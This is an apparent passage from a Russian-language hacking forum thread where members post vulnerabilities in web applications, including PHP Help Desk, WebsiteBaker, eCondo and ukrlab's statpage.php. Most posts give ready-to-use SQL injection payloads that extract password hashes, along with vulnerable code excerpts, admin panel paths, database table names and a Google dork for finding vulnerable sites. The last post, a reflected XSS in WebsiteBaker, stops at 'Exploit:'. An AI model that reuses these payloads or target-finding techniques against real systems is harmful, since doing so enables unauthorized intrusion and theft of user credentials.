    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.SERVER_NAME,50)#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.URLToken,130)#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" null="#iif(arguments.userid neq '',de('no'),de('yes'))#" value="#arguments.userid#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" null="#iif(arguments.siteid neq '',de('no'),de('yes'))#" value="#arguments.siteid#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#arguments.country#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#arguments.language#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#arguments.locale#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" null="#iif(arguments.contentid neq '',de('no'),de('yes'))#" value="#arguments.contentid#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.referer,255)#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" null="#iif(arguments.keywords neq '',de('no'),de('yes'))#" value="#left(arguments.keywords,200)#"/>,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.user_agent,200)#"/>,
                    <
    cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.originalURLToken,130)#" />
                )    
            </
    cfquery>

    Code:
    /Mura/requirements/dashboard/dashboardManager.cfm
    PHP:
    <cffunction name="getUserAgentFromSessionQuery" access="public" returntype="String">
        <
    cfargument name="rsSession"/>
        
        <
    cfset var rs "" />
        
        <
    cfquery name="rs" dbType="query">
        
    select user_agent from arguments.rsSession where user_agent ''
        
    </cfquery>
        
        <
    cfif rs.recordcount>
            <
    cfreturn rs.user_agent />
        <
    cfelse>
            <
    cfreturn "unknown" />
        </
    cfif>
    </
    cffunction>
    output

    Code:
    /Mura/admin/core/views/cdashboard/viewsession.cfm
    PHP:
    <li><strong>
    #application.rbFactory.getKeyValue(session.rb,"dashboard.session.useragent")#:</strong> #application.dashboardManager.getUserAgentFromSessionQuery(rc.rslist)#
    </li>
     
    _________________________
    #494 Konqi, 18 Apr 2013
    Last edited: 18 Apr 2013
    1 person likes this.
  15. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    PHD Help Desk <= 2.12
    SQLI

    Source:
    PHP:
    $operador=trim(strip_tags($_POST[operador]));
    $query="SELECT * FROM {$MyPHD}operador WHERE operador_id='$operador'";
    Уязвим параметр $operador, который получается из формы авторизации в файле login.php

    Через Firebug меняем максимальную длину ввода для логина и впихиваем это:

    PHP:
    1' AND extractvalue(1,concat(0x3a,(select(extractvalue(1,concat(0x3a,(select contrasenia from operador limit 0,1)))) from operador limit 1,1))) OR 5='2
    В результате XPATH error

    Таким образом достаём хеш пароля (поле contrasenia) поле логина: operador_id
     
    _________________________
    1 person likes this.
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Заранее предупреждаем, что функция extractvalue работает только с версией MySQL >=5.1 , а потому на ранних версиях, скорее всего, нужно искать вектор Error-Baesd через rand(0).
     
    _________________________
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    WebsiteBaker CMS

    Уязвимый модуль : FAQ Maker

    SQL Injection

    требования: mq = Off

    /modules/faqmaker/view.php

    PHP:
    ....
    if (isset(
    $_GET['qa_id'])) {

        
    $qa explode("."$_GET['qa_id']);
        
    $t_id $qa[0];
        
    $q_id $qa[1];
        
        
    $query_quests $database->query("SELECT * FROM `".TABLE_PREFIX."mod_faqmaker_questions` WHERE question_id='$q_id'");
        
    $quests $query_quests->fetchRow();
        
    $answer $quests['answer'];
        
    $modified_when $quests['modified_when'];
        
    $wb->preprocess($answer);
    ....
    PoC: /page.php?qa_id=1.2'+and+0+union+select+1,2,3,4,5,6,7,8--+
     
    _________________________
  18. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Condominium Management System eCondo

    Сингапурская контора.
    Официальный сайт http://www.econdo.com.sg/


    SQL Injection

    Уязвимый сценарий: /dev/label.php
    Уязвимый параметр: id
    Вектор: error-based

    Exploit: [site/dev/label.php?id=1 or(SELECT 1 from information_schema.tables group by concat((SELECT{YOUR REQUEST}),floor(rand(0)*2))having max(0)) --]

    Примеры:
    Панель администратора: site/dev/login.php
    MD5-хэши паролей и имена пользователей наxодятся в таблице dev_user, имена колонок соответственно dev_pword и dev_user_name.
    Исходники не нашел.
     
    2 people like this.
  19. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Уязвимый сценарий statpage.php от ukrlab.com

    Официальный сайт http://www.ukrlab.com


    SQL Injection

    Уязвимый параметр: stid
    Dork: inurl:statpage.php?stid=
    Вектор: union-query
    Требования: mq = off

    Уязвимый код (запрос вытаскивал из PROCESSLIST, код может отличаться, но смысл один):
    PHP:
    ...
    $id $_GET['stid'];
    ...
    $query "SELECT * FROM ua_k_stat_page WHERE id= '".$id."' ";
    ...
    Exploit: [site/statpage.php?stid=99999.9/*!UNION SELECT 1,version(),3,4,5*/ -- ]
     
  20. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS WebsiteBaker

    Version 2.8.3 - последняя версия!


    Официальный сайт http://www.websitebaker.org

    passive XSS (reflected)

    Требования: права администратора
    Уязвимый сценарий:admin/admintools/tool.php

    PHP:
    $doSave = (isset($_POST['save_settings']) || (isset($_POST['action']) && strtolower($_POST['action']) == 'save'));
    // test for valid tool name
        
    if(preg_match('/^[a-z][a-z_\-0-9]{2,}$/i'$toolDir)) {
        
    // Check if tool is installed
            
    $sql 'SELECT `name` FROM `'.TABLE_PREFIX.'addons` '.
                   
    'WHERE `type`=\'module\' AND `function`=\'tool\' '.
                          
    'AND `directory`=\''.$toolDir.'\'';
            if((
    $toolName $database->get_one($sql))) {
            
    // create admin-object and print header if FTAN is NOT supported AND function 'save' is requested
                
    $admin_header = !(is_file(WB_PATH.'/modules/'.$toolDir.'/FTAN_SUPPORTED') && $doSave);
                
    $admin = new admin('admintools''admintools'$admin_header );
                if(!
    $doSave) {
                
    // show title if not function 'save' is requested
                    
    print '<h4><a href="'.ADMIN_URL.'/admintools/index.php" '.
                          
    'title="'.$HEADING['ADMINISTRATION_TOOLS'].'">'.
                          
    $HEADING['ADMINISTRATION_TOOLS'].'</a>'.
                          
    '&nbsp;&raquo;&nbsp;'.$toolName.'</h4>'."\n";
                }
                
    // include modules tool.php
                
    require(WB_PATH.'/modules/'.$toolDir.'/tool.php');
                
    $admin->print_footer();
            }else {
            
    // no installed module found, jump to index.php of admintools
                
    header('location: '.ADMIN_URL.'/admintools/index.php');
                exit(
    0);
            }
        }else {
        
    // invalid module name requested, jump to index.php of admintools
            
    header('location: '.ADMIN_URL.'/admintools/index.php');
            exit(
    0);
        }
    Exploit: